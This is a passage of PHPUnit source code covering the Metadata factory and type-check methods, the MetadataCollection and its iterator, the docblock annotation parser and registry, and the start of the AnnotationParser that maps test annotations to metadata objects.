$operatingSystemFamily): RequiresOperatingSystemFamily { return new RequiresOperatingSystemFamily(self::METHOD_LEVEL, $operatingSystemFamily); } public static function requiresPhpOnClass(Requirement $versionRequirement): RequiresPhp { return new RequiresPhp(self::CLASS_LEVEL, $versionRequirement); } public static function requiresPhpOnMethod(Requirement $versionRequirement): RequiresPhp { return new RequiresPhp(self::METHOD_LEVEL, $versionRequirement); } /** * @psalm-param non-empty-string $extension */ public static function requiresPhpExtensionOnClass(string $extension, ?Requirement $versionRequirement): RequiresPhpExtension { return new RequiresPhpExtension(self::CLASS_LEVEL, $extension, $versionRequirement); } /** * @psalm-param non-empty-string $extension */ public static function requiresPhpExtensionOnMethod(string $extension, ?Requirement $versionRequirement): RequiresPhpExtension { return new RequiresPhpExtension(self::METHOD_LEVEL, $extension, $versionRequirement); } public static function requiresPhpunitOnClass(Requirement $versionRequirement): RequiresPhpunit { return new RequiresPhpunit(self::CLASS_LEVEL, $versionRequirement); } public static function requiresPhpunitOnMethod(Requirement $versionRequirement): RequiresPhpunit { return new RequiresPhpunit(self::METHOD_LEVEL, $versionRequirement); } /** * @psalm-param non-empty-string $setting * @psalm-param non-empty-string $value */ public static function requiresSettingOnClass(string $setting, string $value): RequiresSetting { return new RequiresSetting(self::CLASS_LEVEL, $setting, $value); } /** * @psalm-param non-empty-string $setting * @psalm-param non-empty-string $value */ public static function requiresSettingOnMethod(string $setting, string $value): RequiresSetting { return new RequiresSetting(self::METHOD_LEVEL, $setting, $value); } public static function runClassInSeparateProcess(): RunClassInSeparateProcess { return new RunClassInSeparateProcess(self::CLASS_LEVEL); } public static function runTestsInSeparateProcesses(): RunTestsInSeparateProcesses { return new RunTestsInSeparateProcesses(self::CLASS_LEVEL); } public static function runInSeparateProcess(): RunInSeparateProcess { return new RunInSeparateProcess(self::METHOD_LEVEL); } public static function test(): Test { return new Test(self::METHOD_LEVEL); } /** * @psalm-param non-empty-string $text */ public static function testDoxOnClass(string $text): TestDox { return new TestDox(self::CLASS_LEVEL, $text); } /** * @psalm-param non-empty-string $text */ public static function testDoxOnMethod(string $text): TestDox { return new TestDox(self::METHOD_LEVEL, $text); } public static function testWith(mixed $data): TestWith { return new TestWith(self::METHOD_LEVEL, $data); } /** * @psalm-param class-string $className */ public static function usesClass(string $className): UsesClass { return new UsesClass(self::CLASS_LEVEL, $className); } /** * @psalm-param non-empty-string $functionName */ public static function usesFunction(string $functionName): UsesFunction { return new UsesFunction(self::CLASS_LEVEL, $functionName); } /** * @psalm-param non-empty-string $target */ public static function usesOnClass(string $target): Uses { return new Uses(self::CLASS_LEVEL, $target); } /** * @psalm-param non-empty-string $target */ public static function usesOnMethod(string $target): Uses { return new Uses(self::METHOD_LEVEL, $target); } /** * @psalm-param class-string $className */ public static function usesDefaultClass(string $className): UsesDefaultClass { return new UsesDefaultClass(self::CLASS_LEVEL, $className); } public static function withoutErrorHandler(): WithoutErrorHandler { return new WithoutErrorHandler(self::METHOD_LEVEL); } /** * @psalm-param 0|1 $level */ protected function __construct(int $level) { $this->level = $level; } public function isClassLevel(): bool { return $this->level === self::CLASS_LEVEL; } public function isMethodLevel(): bool { return $this->level === self::METHOD_LEVEL; } /** * @psalm-assert-if-true After $this */ public function isAfter(): bool { return false; } /** * @psalm-assert-if-true AfterClass $this */ public function isAfterClass(): bool { return false; } /** * @psalm-assert-if-true BackupGlobals $this */ public function isBackupGlobals(): bool { return false; } /** * @psalm-assert-if-true BackupStaticProperties $this */ public function isBackupStaticProperties(): bool { return false; } /** * @psalm-assert-if-true BeforeClass $this */ public function isBeforeClass(): bool { return false; } /** * @psalm-assert-if-true Before $this */ public function isBefore(): bool { return false; } /** * @psalm-assert-if-true Covers $this */ public function isCovers(): bool { return false; } /** * @psalm-assert-if-true CoversClass $this */ public function isCoversClass(): bool { return false; } /** * @psalm-assert-if-true CoversDefaultClass $this */ public function isCoversDefaultClass(): bool { return false; } /** * @psalm-assert-if-true CoversFunction $this */ public function isCoversFunction(): bool { return false; } /** * @psalm-assert-if-true CoversNothing $this */ public function isCoversNothing(): bool { return false; } /** * @psalm-assert-if-true DataProvider $this */ public function isDataProvider(): bool { return false; } /** * @psalm-assert-if-true DependsOnClass $this */ public function isDependsOnClass(): bool { return false; } /** * @psalm-assert-if-true DependsOnMethod $this */ public function isDependsOnMethod(): bool { return false; } /** * @psalm-assert-if-true DoesNotPerformAssertions $this */ public function isDoesNotPerformAssertions(): bool { return false; } /** * @psalm-assert-if-true ExcludeGlobalVariableFromBackup $this */ public function isExcludeGlobalVariableFromBackup(): bool { return false; } /** * @psalm-assert-if-true ExcludeStaticPropertyFromBackup $this */ public function isExcludeStaticPropertyFromBackup(): bool { return false; } /** * @psalm-assert-if-true Group $this */ public function isGroup(): bool { return false; } /** * @psalm-assert-if-true IgnoreDeprecations $this */ public function isIgnoreDeprecations(): bool { return false; } /** * @psalm-assert-if-true IgnoreClassForCodeCoverage $this */ public function isIgnoreClassForCodeCoverage(): bool { return false; } /** * @psalm-assert-if-true IgnoreMethodForCodeCoverage $this */ public function isIgnoreMethodForCodeCoverage(): bool { return false; } /** * @psalm-assert-if-true IgnoreFunctionForCodeCoverage $this */ public function isIgnoreFunctionForCodeCoverage(): bool { return false; } /** * @psalm-assert-if-true RunClassInSeparateProcess $this */ public function isRunClassInSeparateProcess(): bool { return false; } /** * @psalm-assert-if-true RunInSeparateProcess $this */ public function isRunInSeparateProcess(): bool { return false; } /** * @psalm-assert-if-true RunTestsInSeparateProcesses $this */ public function isRunTestsInSeparateProcesses(): bool { return false; } /** * @psalm-assert-if-true Test $this */ public function isTest(): bool { return false; } /** * @psalm-assert-if-true PreCondition $this */ public function isPreCondition(): bool { return false; } /** * @psalm-assert-if-true PostCondition $this */ public function isPostCondition(): bool { return false; } /** * @psalm-assert-if-true PreserveGlobalState $this */ public function isPreserveGlobalState(): bool { return false; } /** * @psalm-assert-if-true RequiresMethod $this */ public function isRequiresMethod(): bool { return false; } /** * @psalm-assert-if-true RequiresFunction $this */ public function isRequiresFunction(): bool { return false; } /** * @psalm-assert-if-true RequiresOperatingSystem $this */ public function isRequiresOperatingSystem(): bool { return false; } /** * @psalm-assert-if-true RequiresOperatingSystemFamily $this */ public function isRequiresOperatingSystemFamily(): bool { return false; } /** * @psalm-assert-if-true RequiresPhp $this */ public function isRequiresPhp(): bool { return false; } /** * @psalm-assert-if-true RequiresPhpExtension $this */ public function isRequiresPhpExtension(): bool { return false; } /** * @psalm-assert-if-true RequiresPhpunit $this */ public function isRequiresPhpunit(): bool { return false; } /** * @psalm-assert-if-true RequiresSetting $this */ public function isRequiresSetting(): bool { return false; } /** * @psalm-assert-if-true TestDox $this */ public function isTestDox(): bool { return false; } /** * @psalm-assert-if-true TestWith $this */ public function isTestWith(): bool { return false; } /** * @psalm-assert-if-true Uses $this */ public function isUses(): bool { return false; } /** * @psalm-assert-if-true UsesClass $this */ public function isUsesClass(): bool { return false; } /** * @psalm-assert-if-true UsesDefaultClass $this */ public function isUsesDefaultClass(): bool { return false; } /** * @psalm-assert-if-true UsesFunction $this */ public function isUsesFunction(): bool { return false; } /** * @psalm-assert-if-true WithoutErrorHandler $this */ public function isWithoutErrorHandler(): bool { return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use function array_filter; use function array_merge; use function count; use Countable; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MetadataCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $metadata; /** * @psalm-param list $metadata */ public static function fromArray(array $metadata): self { return new self(...$metadata); } private function __construct(Metadata ...$metadata) { $this->metadata = $metadata; } /** * @psalm-return list */ public function asArray(): array { return $this->metadata; } public function count(): int { return count($this->metadata); } public function isEmpty(): bool { return $this->count() === 0; } public function isNotEmpty(): bool { return $this->count() > 0; } public function getIterator(): MetadataCollectionIterator { return new MetadataCollectionIterator($this); } public function mergeWith(self $other): self { return new self( ...array_merge( $this->asArray(), $other->asArray(), ), ); } public function isClassLevel(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isClassLevel(), ), ); } public function isMethodLevel(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isMethodLevel(), ), ); } public function isAfter(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isAfter(), ), ); } public function isAfterClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isAfterClass(), ), ); } public function isBackupGlobals(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isBackupGlobals(), ), ); } public function isBackupStaticProperties(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isBackupStaticProperties(), ), ); } public function isBeforeClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isBeforeClass(), ), ); } public function isBefore(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isBefore(), ), ); } public function isCovers(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isCovers(), ), ); } public function isCoversClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isCoversClass(), ), ); } public function isCoversDefaultClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isCoversDefaultClass(), ), ); } public function isCoversFunction(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isCoversFunction(), ), ); } public function isExcludeGlobalVariableFromBackup(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isExcludeGlobalVariableFromBackup(), ), ); } public function isExcludeStaticPropertyFromBackup(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isExcludeStaticPropertyFromBackup(), ), ); } public function isCoversNothing(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isCoversNothing(), ), ); } public function isDataProvider(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isDataProvider(), ), ); } public function isDepends(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isDependsOnClass() || $metadata->isDependsOnMethod(), ), ); } public function isDependsOnClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isDependsOnClass(), ), ); } public function isDependsOnMethod(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isDependsOnMethod(), ), ); } public function isDoesNotPerformAssertions(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isDoesNotPerformAssertions(), ), ); } public function isGroup(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isGroup(), ), ); } public function isIgnoreDeprecations(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isIgnoreDeprecations(), ), ); } /** * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ public function isIgnoreClassForCodeCoverage(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isIgnoreClassForCodeCoverage(), ), ); } /** * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ public function isIgnoreMethodForCodeCoverage(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isIgnoreMethodForCodeCoverage(), ), ); } /** * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ public function isIgnoreFunctionForCodeCoverage(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isIgnoreFunctionForCodeCoverage(), ), ); } public function isRunClassInSeparateProcess(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRunClassInSeparateProcess(), ), ); } public function isRunInSeparateProcess(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRunInSeparateProcess(), ), ); } public function isRunTestsInSeparateProcesses(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRunTestsInSeparateProcesses(), ), ); } public function isTest(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isTest(), ), ); } public function isPreCondition(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isPreCondition(), ), ); } public function isPostCondition(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isPostCondition(), ), ); } public function isPreserveGlobalState(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isPreserveGlobalState(), ), ); } public function isRequiresMethod(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresMethod(), ), ); } public function isRequiresFunction(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresFunction(), ), ); } public function isRequiresOperatingSystem(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresOperatingSystem(), ), ); } public function isRequiresOperatingSystemFamily(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresOperatingSystemFamily(), ), ); } public function isRequiresPhp(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresPhp(), ), ); } public function isRequiresPhpExtension(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresPhpExtension(), ), ); } public function isRequiresPhpunit(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresPhpunit(), ), ); } public function isRequiresSetting(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isRequiresSetting(), ), ); } public function isTestDox(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isTestDox(), ), ); } public function isTestWith(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isTestWith(), ), ); } public function isUses(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isUses(), ), ); } public function isUsesClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isUsesClass(), ), ); } public function isUsesDefaultClass(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isUsesDefaultClass(), ), ); } public function isUsesFunction(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isUsesFunction(), ), ); } public function isWithoutErrorHandler(): self { return new self( ...array_filter( $this->metadata, static fn (Metadata $metadata): bool => $metadata->isWithoutErrorHandler(), ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use function count; use Iterator; /** * @template-implements Iterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MetadataCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $metadata; private int $position = 0; public function __construct(MetadataCollection $metadata) { $this->metadata = $metadata->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->metadata); } public function key(): int { return $this->position; } public function current(): Metadata { return $this->metadata[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Annotation\Parser; use function array_filter; use function array_map; use function array_merge; use function array_values; use function count; use function preg_match; use function preg_match_all; use function preg_replace; use function preg_split; use function realpath; use function substr; use function trim; use PharIo\Version\Exception as PharIoVersionException; use PharIo\Version\VersionConstraintParser; use PHPUnit\Metadata\AnnotationsAreNotSupportedForInternalClassesException; use PHPUnit\Metadata\InvalidVersionRequirementException; use ReflectionClass; use ReflectionFunctionAbstract; use ReflectionMethod; /** * This is an abstraction around a PHPUnit-specific docBlock, * allowing us to ask meaningful questions about a specific * reflection symbol. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DocBlock { private const REGEX_REQUIRES_VERSION = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[<>=!]{0,2})\s*(?P[\d\.-]+(dev|(RC|alpha|beta)[\d\.])?)[ \t]*\r?$/m'; private const REGEX_REQUIRES_VERSION_CONSTRAINT = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[\d\t \-.|~^]+)[ \t]*\r?$/m'; private const REGEX_REQUIRES_OS = '/@requires\s+(?POS(?:FAMILY)?)\s+(?P.+?)[ \t]*\r?$/m'; private const REGEX_REQUIRES_SETTING = '/@requires\s+(?Psetting)\s+(?P([^ ]+?))\s*(?P[\w\.-]+[\w\.]?)?[ \t]*\r?$/m'; private const REGEX_REQUIRES = '/@requires\s+(?Pfunction|extension)\s+(?P([^\s<>=!]+))\s*(?P[<>=!]{0,2})\s*(?P[\d\.-]+[\d\.]?)?[ \t]*\r?$/m'; private readonly string $docComment; /** * @psalm-var array> pre-parsed annotations indexed by name and occurrence index */ private readonly array $symbolAnnotations; /** * @psalm-var null|(array{ * __OFFSET: array&array{__FILE: string}, * setting?: array, * extension_versions?: array * }&array< * string, * string|array{version: string, operator: string}|array{constraint: string}|array * >) */ private ?array $parsedRequirements = null; private readonly int $startLine; private readonly string $fileName; /** * @throws AnnotationsAreNotSupportedForInternalClassesException */ public static function ofClass(ReflectionClass $class): self { if ($class->isInternal()) { throw new AnnotationsAreNotSupportedForInternalClassesException($class->getName()); } return new self( (string) $class->getDocComment(), self::extractAnnotationsFromReflector($class), $class->getStartLine(), $class->getFileName(), ); } /** * @throws AnnotationsAreNotSupportedForInternalClassesException */ public static function ofMethod(ReflectionMethod $method): self { if ($method->getDeclaringClass()->isInternal()) { throw new AnnotationsAreNotSupportedForInternalClassesException($method->getDeclaringClass()->getName()); } return new self( (string) $method->getDocComment(), self::extractAnnotationsFromReflector($method), $method->getStartLine(), $method->getFileName(), ); } /** * Note: we do not preserve an instance of the reflection object, since it cannot be safely (de-)serialized. * * @param array> $symbolAnnotations */ private function __construct(string $docComment, array $symbolAnnotations, int $startLine, string $fileName) { $this->docComment = $docComment; $this->symbolAnnotations = $symbolAnnotations; $this->startLine = $startLine; $this->fileName = $fileName; } /** * @throws InvalidVersionRequirementException * * @psalm-return array{ * __OFFSET: array&array{__FILE: string}, * setting?: array, * extension_versions?: array * }&array< * string, * string|array{version: string, operator: string}|array{constraint: string}|array * > */ public function requirements(): array { if ($this->parsedRequirements !== null) { return $this->parsedRequirements; } $offset = $this->startLine; $requires = []; $recordedSettings = []; $extensionVersions = []; $recordedOffsets = [ '__FILE' => realpath($this->fileName), ]; // Trim docblock markers, split it into lines and rewind offset to start of docblock $lines = preg_replace(['#^/\*{2}#', '#\*/$#'], '', preg_split('/\r\n|\r|\n/', $this->docComment)); $offset -= count($lines); foreach ($lines as $line) { if (preg_match(self::REGEX_REQUIRES_OS, $line, $matches)) { $requires[$matches['name']] = $matches['value']; $recordedOffsets[$matches['name']] = $offset; } if (preg_match(self::REGEX_REQUIRES_VERSION, $line, $matches)) { $requires[$matches['name']] = [ 'version' => $matches['version'], 'operator' => $matches['operator'], ]; $recordedOffsets[$matches['name']] = $offset; } if (preg_match(self::REGEX_REQUIRES_VERSION_CONSTRAINT, $line, $matches)) { if (!empty($requires[$matches['name']])) { $offset++; continue; } try { $versionConstraintParser = new VersionConstraintParser; $requires[$matches['name'] . '_constraint'] = [ 'constraint' => $versionConstraintParser->parse(trim($matches['constraint'])), ]; $recordedOffsets[$matches['name'] . '_constraint'] = $offset; } catch (PharIoVersionException $e) { throw new InvalidVersionRequirementException( $e->getMessage(), $e->getCode(), $e, ); } } if (preg_match(self::REGEX_REQUIRES_SETTING, $line, $matches)) { $recordedSettings[$matches['setting']] = $matches['value']; $recordedOffsets['__SETTING_' . $matches['setting']] = $offset; } if (preg_match(self::REGEX_REQUIRES, $line, $matches)) { $name = $matches['name'] . 's'; if (!isset($requires[$name])) { $requires[$name] = []; } $requires[$name][] = $matches['value']; $recordedOffsets[$matches['name'] . '_' . $matches['value']] = $offset; if ($name === 'extensions' && !empty($matches['version'])) { $extensionVersions[$matches['value']] = [ 'version' => $matches['version'], 'operator' => $matches['operator'], ]; } } $offset++; } return $this->parsedRequirements = array_merge( $requires, ['__OFFSET' => $recordedOffsets], array_filter( [ 'setting' => $recordedSettings, 'extension_versions' => $extensionVersions, ], ), ); } public function symbolAnnotations(): array { return $this->symbolAnnotations; } /** * @psalm-return array> */ private static function parseDocBlock(string $docBlock): array { // Strip away the docblock header and footer to ease parsing of one line annotations $docBlock = substr($docBlock, 3, -2); $annotations = []; if (preg_match_all('/@(?P[A-Za-z_-]+)(?:[ \t]+(?P.*?))?[ \t]*\r?$/m', $docBlock, $matches)) { $numMatches = count($matches[0]); for ($i = 0; $i < $numMatches; $i++) { $annotations[$matches['name'][$i]][] = $matches['value'][$i]; } } return $annotations; } private static function extractAnnotationsFromReflector(ReflectionClass|ReflectionFunctionAbstract $reflector): array { $annotations = []; if ($reflector instanceof ReflectionClass) { $annotations = array_merge( $annotations, ...array_map( static fn (ReflectionClass $trait): array => self::parseDocBlock((string) $trait->getDocComment()), array_values($reflector->getTraits()), ), ); } return array_merge( $annotations, self::parseDocBlock((string) $reflector->getDocComment()), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Annotation\Parser; use function array_key_exists; use PHPUnit\Metadata\AnnotationsAreNotSupportedForInternalClassesException; use PHPUnit\Metadata\ReflectionException; use ReflectionClass; use ReflectionMethod; /** * Reflection information, and therefore DocBlock information, is static within * a single PHP process. It is therefore okay to use a Singleton registry here. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Registry { private static ?Registry $instance = null; /** * @psalm-var array indexed by class name */ private array $classDocBlocks = []; /** * @psalm-var array> indexed by class name and method name */ private array $methodDocBlocks = []; public static function getInstance(): self { return self::$instance ?? self::$instance = new self; } /** * @psalm-param class-string $class * * @throws AnnotationsAreNotSupportedForInternalClassesException * @throws ReflectionException */ public function forClassName(string $class): DocBlock { if (array_key_exists($class, $this->classDocBlocks)) { return $this->classDocBlocks[$class]; } try { $reflection = new ReflectionClass($class); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd return $this->classDocBlocks[$class] = DocBlock::ofClass($reflection); } /** * @psalm-param class-string $classInHierarchy * * @throws AnnotationsAreNotSupportedForInternalClassesException * @throws ReflectionException */ public function forMethod(string $classInHierarchy, string $method): DocBlock { if (isset($this->methodDocBlocks[$classInHierarchy][$method])) { return $this->methodDocBlocks[$classInHierarchy][$method]; } try { $reflection = new ReflectionMethod($classInHierarchy, $method); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); } // @codeCoverageIgnoreEnd return $this->methodDocBlocks[$classInHierarchy][$method] = DocBlock::ofMethod($reflection); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; use function array_merge; use function assert; use function class_exists; use function count; use function explode; use function method_exists; use function preg_replace; use function rtrim; use function sprintf; use function str_contains; use function str_starts_with; use function strlen; use function substr; use function trim; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Metadata\Annotation\Parser\Registry as AnnotationRegistry; use PHPUnit\Metadata\AnnotationsAreNotSupportedForInternalClassesException; use PHPUnit\Metadata\InvalidVersionRequirementException; use PHPUnit\Metadata\Metadata; use PHPUnit\Metadata\MetadataCollection; use PHPUnit\Metadata\ReflectionException; use PHPUnit\Metadata\Version\ComparisonRequirement; use PHPUnit\Metadata\Version\ConstraintRequirement; use PHPUnit\Util\InvalidVersionOperatorException; use PHPUnit\Util\VersionComparisonOperator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AnnotationParser implements Parser { /** * @psalm-param class-string $className * * @throws AnnotationsAreNotSupportedForInternalClassesException * @throws InvalidVersionOperatorException * @throws ReflectionException */ public function forClass(string $className): MetadataCollection { assert(class_exists($className)); $result = []; foreach (AnnotationRegistry::getInstance()->forClassName($className)->symbolAnnotations() as $annotation => $values) { switch ($annotation) { case 'backupGlobals': $result[] = Metadata::backupGlobalsOnClass($this->stringToBool($values[0])); break; case 'backupStaticAttributes': case 'backupStaticProperties': $result[] = Metadata::backupStaticPropertiesOnClass($this->stringToBool($values[0])); break; case 'covers': foreach ($values as $value) { $value = $this->cleanUpCoversOrUsesTarget($value); $result[] = Metadata::coversOnClass($value); } break; case 'coversDefaultClass': foreach ($values as $value) { $result[] = Metadata::coversDefaultClass($value); } break; case 'coversNothing': $result[] = Metadata::coversNothingOnClass(); break; case 'doesNotPerformAssertions': $result[] = Metadata::doesNotPerformAssertionsOnClass(); break; case 'group': case 'ticket': foreach ($values as $value) { $result[] = Metadata::groupOnClass($value); } break; case 'large': $result[] = Metadata::groupOnClass('large'); break; case 'medium': $result[] = Metadata::groupOnClass('medium'); break; case 'preserveGlobalState': $result[] = Metadata::preserveGlobalStateOnClass($this->stringToBool($values[0])); break; case 'runClassInSeparateProcess': $result[] = Metadata::runClassInSeparateProcess(); break; case 'runTestsInSeparateProcesses': $result[] = Metadata::runTestsInSeparateProcesses(); break; case 'small': $result[] = Metadata::groupOnClass('small'); break; case 'testdox': $result[] = Metadata::testDoxOnClass($values[0]); break; case 'uses': foreach ($values as $value) { $value = $this->cleanUpCoversOrUsesTarget($value); $result[] = Metadata::usesOnClass($value); } break; case 'usesDefaultClass': foreach ($values as $value) { $result[] = Metadata::usesDefaultClass($value); } break; } } try { $result = array_merge( $result, $this->parseRequirements( AnnotationRegistry::getInstance()->forClassName($className)->requirements(), 'class', ), ); } catch (InvalidVersionRequirementException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Class %s is annotated using an invalid version requirement: %s', $className, $e->getMessage(), ), ); } return MetadataCollection::fromArray($result); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws AnnotationsAreNotSupportedForInternalClassesException * @throws InvalidVersionOperatorException * @throws ReflectionException */ public function forMethod(string $className, string $methodName): MetadataCollection { assert(class_exists($className)); assert(method_exists($className, $methodName)); $result = []; foreach (AnnotationRegistry::getInstance()->forMethod($className, $methodName)->symbolAnnotations() as $annotation => $values) { switch ($annotation) { case 'after': $result[] = Metadata::after(); break; case 'afterClass': $result[] = Metadata::afterClass(); break; case 'backupGlobals': $result[] = Metadata::backupGlobalsOnMethod($this->stringToBool($values[0])); break; case 'backupStaticAttributes': case 'backupStaticProperties': $result[] = Metadata::backupStaticPropertiesOnMethod($this->stringToBool($values[0])); break; case 'before': $result[] = Metadata::before(); break; case 'beforeClass': $result[] = Metadata::beforeClass(); break; case 'covers': foreach ($values as $value) { $value = $this->cleanUpCoversOrUsesTarget($value); $result[] = Metadata::coversOnMethod($value); } break; case 'coversNothing': $result[] = Metadata::coversNothingOnMethod(); break; case 'dataProvider': foreach ($values as $value) { $value = rtrim($value, " ()\n\r\t\v\x00"); if (str_contains($value, '::')) { $result[] = Metadata::dataProvider(...explode('::', $value)); continue; } $result[] = Metadata::dataProvider($className, $value); } break; case 'depends': foreach ($values as $value) { $deepClone = false; $shallowClone = false; if (str_starts_with($value, 'clone ')) { $deepClone = true; $value = substr($value, strlen('clone ')); } elseif (str_starts_with($value, '!clone ')) { $value = substr($value, strlen('!clone ')); } elseif (str_starts_with($value, 'shallowClone ')) { $shallowClone = true; $value = substr($value, strlen('shallowClone ')); } elseif (str_starts_with($value, '!shallowClone ')) { $value = substr($value, strlen('!shallowClone ')); } if (str_contains($value, '::')) { [$_className, $_methodName] = explode('::', $value); assert($_className !== ''); assert($_methodName !== ''); if ($_methodName === 'class') { $result[] = Metadata::dependsOnClass($_className, $deepClone, $shallowClone); continue; } $result[] = Metadata::dependsOnMethod($_className, $_methodName, $deepClone, $shallowClone); continue; } $result[] = Metadata::dependsOnMethod($className, $value, $deepClone, $shallowClone); } break; case 'doesNotPerformAssertions': $result[] = Metadata::doesNotPerformAssertionsOnMethod(); break; case 'excludeGlobalVariableFromBackup': foreach ($values as $value) { $result[] = Metadata::excludeGlobalVariableFromBackupOnMethod($value); } break; case 'excludeStaticPropertyFromBackup': foreach ($values as $value) { $tmp = explode(' ', $value); if (count($tmp) !== 2) { continue; } $result[] = Metadata::excludeStaticPropertyFromBackupOnMethod( trim($tmp[0]), trim($tmp[1]), ); } break; case 'group': case 'ticket': foreach ($values as $value) { $result[] = Metadata::groupOnMethod($value); } break; case 'large': $result[] = Metadata::groupOnMethod('large'); break; case 'medium': $result[] = Metadata::groupOnMethod('medium'); break; case 'postCondition': $result[] = Metadata::postCondition(); break; case 'preCondition': $result[] = Metadata::preCondition(); break; case 'preserveGlobalState': $result[] = Metadata::preserveGlobalStateOnMethod($this->stringToBool($values[0])); break; case 'runInSeparateProcess': $result[] = Metadata::runInSeparateProcess(); break; case 'small': $result[] = Metadata::groupOnMethod('small'); break; case 'test': $result[] = Metadata::test(); break; case 'testdox': $result[] = Metadata::testDoxOnMethod($values[0]); break; case 'uses': foreach ($values as $value) { $value = $this->cleanUpCoversOrUsesTarget($value); $result[] = Metadata::usesOnMethod($value); } break; } } if (method_exists($className, $methodName)) { try { $result = array_merge( $result, $this->parseRequirements( 